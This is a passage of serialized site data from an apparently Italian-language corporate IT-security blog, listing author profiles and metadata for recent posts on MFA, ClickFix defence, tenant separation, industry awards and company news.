Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3011,"avatar":3012,"permalink":3013,"linkedin":3014},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3016,"avatar":3017,"permalink":3018,"linkedin":3019},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3021,"avatar":3022,"permalink":3023,"linkedin":3024,"imageOffsetTop":2780},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3026,"avatar":3027,"permalink":3028,"linkedin":3029,"imageOffsetTop":2780},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3031,"avatar":3032,"permalink":3033,"linkedin":3034,"imageOffsetTop":2880},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3036,"avatar":3037,"permalink":3038,"linkedin":3039,"imageOffsetTop":2880},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":522,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2880},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3045,"avatar":3046,"permalink":3047,"linkedin":3048,"imageOffsetTop":3049,"imageOffsetLeft":3050},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3052,"avatar":3053,"permalink":3054,"linkedin":3055,"imageOffsetTop":3056,"imageOffsetLeft":3057},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3059,"avatar":3060,"permalink":3061,"linkedin":3062,"imageOffsetTop":3063,"imageOffsetLeft":2807},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3065,"Alexander Schlindwein":3066,"Sophie Luna":3067,"Nadine Klein":3068,"Karsten Kleinschmidt":3069,"Julian Wendt":3070,"Holger Bunkradt":3071,"Ralf Mania":3072,"Oliver Kieselbach":3073,"Steffen Schwerdtfeger":3074,"Gunnar Winter":3075,"Jan Petersen":3076,"Thorsten Kunzi":3077,"Moritz Pohl":3078,"Thorben Pöschus":3079,"Christoph Hannebauer":3080,"Marco Scheel":3081,"Christopher Brumm":3082,"Florian Klante":3083,"Niklas Bachmann":3084,"Nils Krautkrämer":3085,"Patrick Treptau":3086,"Peter Beckendorf":3087,"Patrick Sobau":3088,"Jörg Wunderlich":3089,"Michael Breither":3090,"Christian Kanja":3091,"Zeba Hoffmann":3092,"Jochen Fröhlich":3093,"Jan Geisbauer":3094,"Gerrit Reinke":3098,"Christian Kordel":3099,"Stephan Wälde":3100,"Carolin Kanja":3101,"Adrian Ritter":3102,"Marvin Bangert":3103,"Thorsten Pickhan":3104,"Christian Lorenz":3105,"Denis Böhm":3106,"Fabian Bader":3107,"Juan Jose Fernandez Perez":3108,"Mahschid Sayyar":3109,"Benjamin Dassow":3110,"Markus Walschburger":3111,"Jonathan Haist":3112,"Daniel Rohregger":3113,"Thomas Naunheim":3114,"Florian Stöckl":3115,"Pascal Asch":3116,"Markus Kättner":3117,"Anna Ulbricht":3118,"Annette Brauns":3119},{"display_name":2776,"avatar":2777,"permalink":2778,"linkedin":2779,"imageOffsetTop":2780},{"display_name":2782,"avatar":2783,"permalink":2784,"twitter":2785,"linkedin":2786},{"display_name":2788,"avatar":2789,"permalink":2790,"twitter":2791,"linkedin":2792,"imageOffsetLeft":2793,"imageOffsetTop":2794},{"display_name":2796,"avatar":2797,"permalink":2798,"twitter":2799,"linkedin":2800,"imageOffsetTop":2780},{"display_name":2802,"avatar":2803,"permalink":2804,"twitter":2805,"linkedin":2806,"imageOffsetTop":2807,"imageOffsetLeft":2808},{"display_name":2810,"avatar":2811,"permalink":2812,"linkedin":2813},{"display_name":2815,"avatar":2816,"permalink":2817,"linkedin":2818,"twitter":2819},{"display_name":2821,"avatar":2822,"permalink":2823,"linkedin":2824,"twitter":2825},{"display_name":2827,"avatar":2828,"permalink":2829,"linkedin":2830,"twitter":2831},{"display_name":2833,"avatar":2834,"permalink":2835,"linkedin":2836,"twitter":2837,"imageOffsetTop":2838,"imageOffsetLeft":2839},{"display_name":2841,"avatar":2842,"permalink":2843,"twitter":2791,"linkedin":2844},{"display_name":2846,"avatar":2847,"permalink":2848,"twitter":2791,"linkedin":2849},{"display_name":2851,"avatar":2852,"permalink":2853,"twitter":2791,"linkedin":2844,"imageOffsetTop":2780},{"display_name":2855,"avatar":2856,"permalink":2857,"twitter":2791,"linkedin":2858},{"display_name":2860,"avatar":2861,"permalink":2862,"twitter":2863,"linkedin":2864},{"display_name":2866,"avatar":2867,"permalink":2868,"twitter":2791,"linkedin":2844,"imageOffsetTop":2780},{"display_name":2870,"avatar":2871,"permalink":2872,"twitter":2873,"linkedin":2873},{"display_name":2875,"avatar":2876,"permalink":2877,"twitter":2878,"linkedin":2879,"imageOffsetTop":2880},{"display_name":2882,"avatar":2883,"permalink":2884,"linkedin":2885,"twitter":2791},{"display_name":2887,"avatar":2888,"permalink":2889,"linkedin":2890,"twitter":2791},{"display_name":2892,"avatar":2893,"permalink":2894,"twitter":2895,"linkedin":2896},{"display_name":2898,"avatar":2899,"permalink":2900,"linkedin":2901,"twitter":2791},{"display_name":2903,"avatar":2904,"permalink":2905,"linkedin":2906,"twitter":2791,"imageOffsetTop":2780},{"display_name":2908,"avatar":2909,"permalink":2910,"linkedin":2911,"twitter":2791},{"display_name":2913,"avatar":2914,"permalink":2915,"twitter":2791},{"display_name":2917,"avatar":2918,"permalink":2919,"twitter":2791,"linkedin":2920},{"display_name":2922,"avatar":2923,"permalink":2924,"twitter":2925,"linkedin":2926},{"display_name":2928,"avatar":2929,"permalink":2930,"linkedin":2931,"twitter":2791},{"display_name":2933,"avatar":2934,"permalink":2935,"twitter":2791,"linkedin":2844},{"display_name":2711,"avatar":2937,"permalink":2938,"twitter":2939,"linkedin":2939,"imageOffsetTop":2780,"socials":3095},[3096,3097],{"text":472,"href":2942},{"text":2944,"href":2945},{"display_name":2947,"avatar":2948,"permalink":2949,"twitter":2950,"linkedin":2951},{"display_name":2953,"avatar":2954,"permalink":2955,"twitter":2791,"linkedin":2844},{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2960,"linkedin":2844},{"display_name":2962,"avatar":2963,"permalink":2964,"twitter":2965,"linkedin":2966},{"display_name":2968,"avatar":2969,"permalink":2970,"twitter":2971,"linkedin":2971},{"display_name":2973,"avatar":2974,"permalink":2975,"twitter":2976,"linkedin":2977},{"display_name":2979,"avatar":2980,"permalink":2981,"twitter":2982,"linkedin":2983},{"display_name":2985,"avatar":2986,"permalink":2987,"linkedin":2988,"twitter":2791},{"display_name":2990,"avatar":2991,"permalink":2992,"linkedin":2993,"twitter":2791},{"display_name":2995,"avatar":2996,"permalink":2997,"linkedin":2998,"twitter":2999},{"display_name":3001,"avatar":3002,"permalink":3003,"linkedin":3004},{"display_name":3006,"avatar":3007,"permalink":3008,"linkedin":3009},{"display_name":3011,"avatar":3012,"permalink":3013,"linkedin":3014},{"display_name":3016,"avatar":3017,"permalink":3018,"linkedin":3019},{"display_name":3021,"avatar":3022,"permalink":3023,"linkedin":3024,"imageOffsetTop":2780},{"display_name":3026,"avatar":3027,"permalink":3028,"linkedin":3029,"imageOffsetTop":2780},{"display_name":3031,"avatar":3032,"permalink":3033,"linkedin":3034,"imageOffsetTop":2880},{"display_name":3036,"avatar":3037,"permalink":3038,"linkedin":3039,"imageOffsetTop":2880},{"display_name":522,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2880},{"display_name":3045,"avatar":3046,"permalink":3047,"linkedin":3048,"imageOffsetTop":3049,"imageOffsetLeft":3050},{"display_name":3052,"avatar":3053,"permalink":3054,"linkedin":3055,"imageOffsetTop":3056,"imageOffsetLeft":3057},{"display_name":3059,"avatar":3060,"permalink":3061,"linkedin":3062,"imageOffsetTop":3063,"imageOffsetLeft":2807},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3123,"authors":3326},[3124,3141,3155,3169,3185,3198,3211,3224,3236,3252,3266,3281,3286,3297,3310],{"id":3125,"title":3126,"author":3127,"cta":494,"description":584,"hideInRecent":484,"layout":2674,"meta":3128,"moment":3133,"path":3134,"stem":3135,"tags":3136,"webcast":484},"content_it/posts/2026-09-22-end-of-mfa-sms.md","La fine dell'MFA via SMS",[2802],{"lang":2676,"date":3129,"categories":3130,"blogtitlepic":3131,"customExcerpt":3132},"2026-09-21",[235],"head-conditional-access.jpg","Perché le aziende dovrebbero passare ora a metodi di autenticazione resistenti al phishing e possibilmente senza password.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,3137,3138,3139,3140],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3142,"title":3143,"author":3144,"cta":494,"description":584,"hideInRecent":484,"layout":2674,"meta":3145,"moment":3129,"path":3149,"stem":3150,"tags":3151,"webcast":484},"content_it/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Quando l'utente è l'exploit, e come lo fermi",[2776,2796],{"lang":2676,"date":3129,"categories":3146,"blogtitlepic":3147,"customExcerpt":3148},[235],"head-clickfix.jpg","ClickFix trasforma gli utenti nel proprio attaccante: un CAPTCHA falso, un copia-incolla, e il codice malevolo gira in memoria senza che nulla finisca su disco. Come Microsoft Defender rileva l'attacco, dove il rilevamento arriva ai suoi limiti e come chiudi la lacuna con un hunt su RunMRU e quattro layer di protezione.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3152,3153,3154],"Defender","SOC","Endpoint Security",{"id":3156,"title":3157,"author":3158,"cta":494,"description":584,"hideInRecent":484,"layout":2674,"meta":3159,"moment":3129,"path":3163,"stem":3164,"tags":3165,"webcast":484},"content_it/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin e quotidianità sullo stesso computer? Game Over.",[2711],{"lang":2676,"date":3129,"categories":3160,"blogtitlepic":3161,"customExcerpt":3162},[235],"head-game-over-en.jpg","Perché per i CIO un solo tenant non basta, e il secondo viene raramente messo in conto. Il Managed Red Tenant separa architetturalmente il lavoro amministrativo dall'ambiente office, il Managed Dark Tenant mantiene l'azienda operativa quando la difesa cede comunque. Cosa significa per il modello operativo, per il segnale al SOC e per gli obblighi di prova previsti dal NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,3166,3167,3168],"Privileged Access","Zero Trust","NIS2",{"id":3170,"title":3171,"author":3172,"cta":494,"description":3173,"hideInRecent":484,"layout":2674,"meta":3174,"moment":3175,"path":3180,"stem":3181,"tags":3182,"webcast":484},"content_it/posts/2026-08-08-isg-germany-2026.md","Quattro volte Leader. glueckkanja nello studio ISG Germania 2026",[2962],"Quest'anno ISG ha rinominato il suo studio. Da Microsoft Cloud Ecosystem è diventato Microsoft AI and Cloud Ecosystem, e con il nome si è spostato il metro di giudizio: non si valuta più chi introduce le piattaforme Microsoft, ma chi gestisce in modo controllabile Copilot, agent e workload di AI. Il nuovo metro non ha cambiato nulla della nostra posizione. Lo studio ISG Provider Lens® Germania 2026 ci posiziona come Leader in quattro quadranti: Microsoft Productivity and Business Process Services e Azure Managed Services, sia nel large market sia nel mid market. Dopo il 2021, il 2023, il 2024 e il 2025 è la quinta classificazione come Leader in Germania, in Svizzera il salto nel quadrante dei Leader è arrivato due settimane prima.",{"lang":2676,"date":3175,"categories":3176,"blogtitlepic":3178,"customExcerpt":3179},"2026-08-08",[3177],"Corporate","head-isg-de-2026.png","Lo studio ISG Provider Lens® 2026 posiziona glueckkanja in Germania come Leader in quattro quadranti: Microsoft Productivity and Business Process Services e Azure Managed Services, sia nel large sia nel mid market. Lo studio ora si chiama Microsoft AI and Cloud Ecosystem, e il metro di giudizio si è spostato: si valuta chi gestisce in modo controllabile i workload di AI e agent.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3183,3184],"Award","ISG",{"id":3186,"title":3187,"author":3188,"cta":494,"description":3189,"hideInRecent":484,"layout":2674,"meta":3190,"moment":3191,"path":3195,"stem":3196,"tags":3197,"webcast":484},"content_it/posts/2026-07-31-isg-switzerland-2026.md","Da Rising Star a Leader. glueckkanja nello studio ISG Svizzera 2026",[2962],"Nel 2024 abbiamo fondato glueckkanja Switzerland AG e abbiamo aperto un ufficio nello zentroom in Bahnhofplatz 10b a Berna. Nel 2025 ISG ci ha classificati come Rising Star sul mercato svizzero, cioè come il fornitore a cui gli analisti attribuiscono il salto nel quadrante dei Leader. Ora il salto è documentato: lo studio ISG Provider Lens® 2026 ci posiziona in Svizzera come Leader nel quadrante Microsoft AI and Cloud Ecosystem, negli ambiti Azure Managed Services e Microsoft Productivity and Business Process Services.",{"lang":2676,"date":3191,"categories":3192,"blogtitlepic":3193,"customExcerpt":3194},"2026-07-31",[3177],"head-isg-ch-2026.png","Lo studio ISG Provider Lens® 2026 posiziona glueckkanja in Svizzera come Leader nel quadrante Microsoft AI and Cloud Ecosystem, negli ambiti Azure Managed Services e Microsoft Productivity and Business Process Services. Due anni dopo l'ingresso sul mercato a Berna, un anno dopo il riconoscimento come Rising Star.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3183,3184],{"id":3199,"title":3200,"author":3201,"cta":494,"description":584,"hideInRecent":484,"layout":2674,"meta":3202,"moment":3203,"path":3207,"stem":3208,"tags":3209,"webcast":484},"content_it/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Cosa rivela il caso OpenAI/Hugging Face e cosa no",[2711],{"lang":2676,"date":3203,"categories":3204,"blogtitlepic":3205,"customExcerpt":3206},"2026-07-24",[235],"head-outbreak.jpg","Un AI agent evade dal suo ambiente di test, trova uno zero-day e hackera un'altra azienda. Sembra una sceneggiatura, ma nel luglio 2026 è successo davvero. È il momento di un inquadramento lucido: con un po' di psicologia, due veterani della security e la domanda su cosa significhi tutto questo per la tua difesa.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3210,3153,3167],"AI",{"id":3212,"title":3213,"author":3214,"cta":494,"description":3215,"hideInRecent":484,"layout":2674,"meta":3216,"moment":3217,"path":3221,"stem":3222,"tags":3223,"webcast":484},"content_it/posts/2026-07-22-isg-cybersecurity-2026.md","Leader e Rising Star. glueckkanja nello studio ISG Cybersecurity 2026",[2962],"Nuovi nel quadrante e subito Leader: lo studio ISG Provider Lens® \"Cybersecurity – Services and Solutions 2026\" posiziona glueckkanja come Leader nell'ambito dei Next-Gen SOC/MDR Services per le piccole e medie imprese tedesche. Nel mercato complessivo dei Next-Gen SOC/MDR Services ISG ci premia come Rising Star, cioè come il fornitore a cui gli analisti attribuiscono il salto nel quadrante dei Leader entro i prossimi 12 o 24 mesi.",{"lang":2676,"date":3217,"categories":3218,"blogtitlepic":3219,"customExcerpt":3220},"2026-07-22",[3177],"head-isg-cybersecurity-2026.png","Lo studio ISG Provider Lens® Cybersecurity 2026 premia glueckkanja come Leader nel quadrante Next-Gen SOC/MDR Services (midmarket). Nel mercato complessivo dei Next-Gen SOC/MDR Services siamo Rising Star. ISG ci riconosce una crescita superiore alla media, una profonda competenza nella security Microsoft e un SOC 24/7 dalla Germania.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3183,3184,235],{"id":3225,"title":3226,"author":3227,"cta":494,"description":3228,"hideInRecent":484,"layout":2674,"meta":3229,"moment":3230,"path":3233,"stem":3234,"tags":3235,"webcast":484},"content_it/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: cosa serve davvero all'AI per lavorare",[2962],"Un'azienda manifatturiera vuole sapere quali dei suoi 14.000 SKU sono effettivamente profittevoli. La risposta si trova in tre sistemi che non si sono mai scambiati un singolo dato. Fino a poco tempo fa ottenerla costava tre reparti, due settimane e una buona dose di buona volontà. Dall'inizio del 2026 un'AI può rispondere a questa domanda in pochi minuti: scandagliare i dati, stabilire le correlazioni, produrre una raccomandazione. A condizione che abbia accesso.",{"lang":2676,"date":3230,"categories":3231,"blogtitlepic":3232},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3210,131],{"id":3237,"title":3238,"author":3239,"cta":494,"description":3240,"hideInRecent":484,"layout":2674,"meta":3241,"moment":3242,"path":3246,"stem":3247,"tags":3248,"webcast":484},"content_it/posts/2026-07-01-onboarding-process.md","Contratto firmato: ecco come funziona il tuo onboarding da noi",[3052],"Come funziona il vostro onboarding? Una domanda che ci arriva di continuo nei colloqui con le persone candidate, perché molte hanno già vissuto un onboarding andato a rilento. Per questo ci sta ancora più a cuore trasmetterti una buona sensazione fin dall'inizio.",{"lang":2676,"date":3242,"categories":3243,"blogtitlepic":3244,"customExcerpt":3245},"2026-07-01",[3177],"Onboarding_Blogheader","Il contratto è firmato, il primo grande passo è fatto. Ma come si prosegue? Ti portiamo dietro le quinte del nostro onboarding, dal PreBoarding alla prima settimana nel team.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3249,3250,3251],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3253,"title":3254,"author":3255,"cta":494,"description":3256,"hideInRecent":484,"layout":2674,"meta":3257,"moment":3258,"path":3262,"stem":3263,"tags":3264,"webcast":484},"content_it/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: ne facciamo parte",[2962],"Nell'ecosistema dei Microsoft Partner esiste una lunga serie di riconoscimenti, eppure il Frontier Partner Badge, per come è concepito, si distingue nettamente dagli altri. Non si può richiedere, viene assegnato su iniziativa di Microsoft a una cerchia ristretta di partner che devono convincere in più discipline parallele, invece che eccellere in una sola. Microsoft verifica competenze comprovate in Cloud & AI Platforms, in AI Business Solutions e in Security allo stesso modo, e si rivolge così alle aziende che non intendono l'AI come un'aggiunta all'IT esistente, ma come il risultato di un'architettura coerente che regge dall'identità all'endpoint fino all'esercizio produttivo dell'AI.",{"lang":2676,"date":3258,"categories":3259,"blogtitlepic":3260,"customExcerpt":3261},"2026-06-26",[3177],"head-frontier-partner-badge.jpg","Da poco nel Microsoft AI Cloud Partner Program esiste un nuovo riconoscimento di vertice, il Frontier Partner Badge. Microsoft lo assegna esclusivamente a una cerchia ristretta di partner in tutto il mondo, capaci di realizzare progetti AI in modo solido sull'intero Microsoft-stack, dal posto di lavoro alla piattaforma cloud e alla security fino all'applicazione AI stessa, e che hanno dimostrato questa capacità sul campo. Nell'area DACH questo gruppo conta solo una manciata di aziende, e noi siamo una di queste.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3183,3265,3210],"Microsoft Partner",{"id":3267,"title":3268,"author":3269,"cta":494,"description":3270,"hideInRecent":484,"layout":2674,"meta":3271,"moment":3272,"path":3276,"stem":3277,"tags":3278,"webcast":484},"content_it/posts/2026-06-09-vair-run.md","160 chilometri per una buona causa",[3059],"Domenica mattina, ore 8:30, Holbeinsteg sul Meno. Undici colleghe e colleghi in maglietta NinjaCat coordinata, pronti per le Frankfurter Runden. Pioggia, lampi e tuoni inclusi. Correre per una buona causa era motivazione sufficiente per allacciarsi le scarpe da corsa nonostante il maltempo.",{"lang":2676,"date":3272,"categories":3273,"blogtitlepic":3274,"customExcerpt":3275},"2026-06-08",[3177],"frankfurter-runden.png","Undici colleghe e colleghi, 16 giri, 160 chilometri, un temporale e un posto sul podio: glueckkanja ha partecipato alle Frankfurter Runden 2026 e ha donato per ogni giro percorso a VAIR e.V., che a Offenbach sta costruendo un parco sportivo e culturale inclusivo.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3279,3249,3280],"Top Arbeitgeber","Soziales Engagement",{"id":519,"title":520,"author":3282,"cta":494,"description":529,"hideInRecent":484,"layout":2674,"meta":3283,"moment":2679,"path":2760,"stem":2762,"tags":3285,"webcast":484},[522],{"lang":2676,"date":2679,"categories":3284,"blogtitlepic":2681,"customExcerpt":2683},[235],[2764,2765,2766,2767,2768],{"id":3287,"title":3288,"author":3289,"cta":494,"description":3290,"hideInRecent":484,"layout":2674,"meta":3291,"moment":3292,"path":3295,"stem":3296,"tags":494,"webcast":484},"content_it/posts/2026-03-21-microsoft-edge-corporate-browser.md","Perché Edge dovrebbe essere il tuo unico Corporate Browser",[2833],"La scelta del browser in un contesto enterprise è una decisione strategica: incide direttamente su quanta security e quanto sforzo di gestione ti ritrovi a dover reggere. Google Chrome è stato per lungo tempo l'opzione più ovvia, ma Microsoft Edge è diventato un browser che si aggancia direttamente allo stack esistente, soprattutto se Microsoft 365 è in uso e la gestione passa da Intune.",{"lang":2676,"date":3292,"blogtitlepic":3293,"customExcerpt":3294},"2026-03-21","head-microsoft-edge-default-browser.jpg","Nessuna azienda ha davvero scelto Chrome; era semplicemente lì, con la sua logica di sync, la sua gestione degli account, la sua interfaccia per le policy. Microsoft Edge, invece, si aggancia direttamente all'infrastruttura che è già in funzione: Entra ID, Intune, Defender. Questo articolo mostra come si presenta il passaggio, come Chrome viene reindirizzato via policy Intune su una landing page e cosa scompare quando si smette di gestire due browser in parallelo.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3298,"title":3299,"author":3300,"cta":494,"description":3301,"hideInRecent":484,"layout":2674,"meta":3302,"moment":3303,"path":3307,"stem":3308,"tags":3309,"webcast":484},"content_it/posts/2026-03-20-stryker-attack-intune-privilege.md","Bastava un account admin.",[2711],"Mercoledì 11 marzo 2026. I dipendenti negli uffici Stryker di 79 paesi hanno acceso i loro computer e li hanno trovati vuoti. Schermate di login sostituite da un logo. Laptop aziendali, telefoni di servizio, dispositivi personali registrati nel programma BYOD dell'azienda, tutti cancellati simultaneamente, nel corso di una notte. Nessun ransomware, nessuna firma malware, nulla che uno strumento di endpoint detection avrebbe potuto rilevare.",{"lang":2676,"date":3303,"categories":3304,"blogtitlepic":3305,"customExcerpt":3306},"2026-03-20",[235],"head-stryker.jpg","L'11 marzo 2026 Handala ha cancellato dispositivi in 79 paesi, e tutto ciò che è servito è stato un account admin Intune compromesso. Nessun malware, nessun exploit, solo strumenti di management legittimi rivolti contro i loro proprietari. Cosa è successo, perché ha funzionato e quali sono le due lacune architetturali da chiudere.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3166,3167],{"id":3311,"title":3312,"author":3313,"cta":494,"description":3314,"hideInRecent":484,"layout":2674,"meta":3315,"moment":3316,"path":3320,"stem":3321,"tags":3322,"webcast":484},"content_it/posts/2026-03-16-ai-agent-hackathon.md","Sei Agent. Quattro settimane. Operatività reale.",[2962],"Quante ore passa il tuo reparto IT a settimana su attività che un Agent potrebbe sbrigare in pochi minuti?",{"lang":2676,"date":3316,"categories":3317,"blogtitlepic":3318,"customExcerpt":3319},"2026-03-16",[3177],"head-ai-agent-hackathon.jpg","Sei aziende, quattro settimane di build phase, sei AI Agent funzionanti: questo è stato il primo glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa e lila logistik hanno costruito nel Copilot Studio Agent che oggi sono in produzione. Cosa è nato e come funziona il formato.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3210,3323,3324,3325],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3327,"Fritz Zurhorst":3328,"Nadine Klein":3329,"Jan Geisbauer":3330,"Carolin Kanja":3334,"Anna Ulbricht":3335,"Annette Brauns":3336,"Pascal Asch":3337,"Steffen Schwerdtfeger":3338},{"display_name":2802,"avatar":2803,"permalink":2804,"twitter":2805,"linkedin":2806,"imageOffsetTop":2807,"imageOffsetLeft":2808},{"display_name":2776,"avatar":2777,"permalink":2778,"linkedin":2779,"imageOffsetTop":2780},{"display_name":2796,"avatar":2797,"permalink":2798,"twitter":2799,"linkedin":2800,"imageOffsetTop":2780},{"display_name":2711,"avatar":2937,"permalink":2938,"twitter":2939,"linkedin":2939,"imageOffsetTop":2780,"socials":3331},[3332,3333],{"text":472,"href":2942},{"text":2944,"href":2945},{"display_name":2962,"avatar":2963,"permalink":2964,"twitter":2965,"linkedin":2966},{"display_name":3052,"avatar":3053,"permalink":3054,"linkedin":3055,"imageOffsetTop":3056,"imageOffsetLeft":3057},{"display_name":3059,"avatar":3060,"permalink":3061,"linkedin":3062,"imageOffsetTop":3063,"imageOffsetLeft":2807},{"display_name":522,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2880},{"display_name":2833,"avatar":2834,"permalink":2835,"linkedin":2836,"twitter":2837,"imageOffsetTop":2838,"imageOffsetLeft":2839},{"id":2771,"extension":2772,"meta":3340,"stem":8,"__hash__":3121},{"Pascal Asch":3341},{"display_name":522,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2880},1791383934416]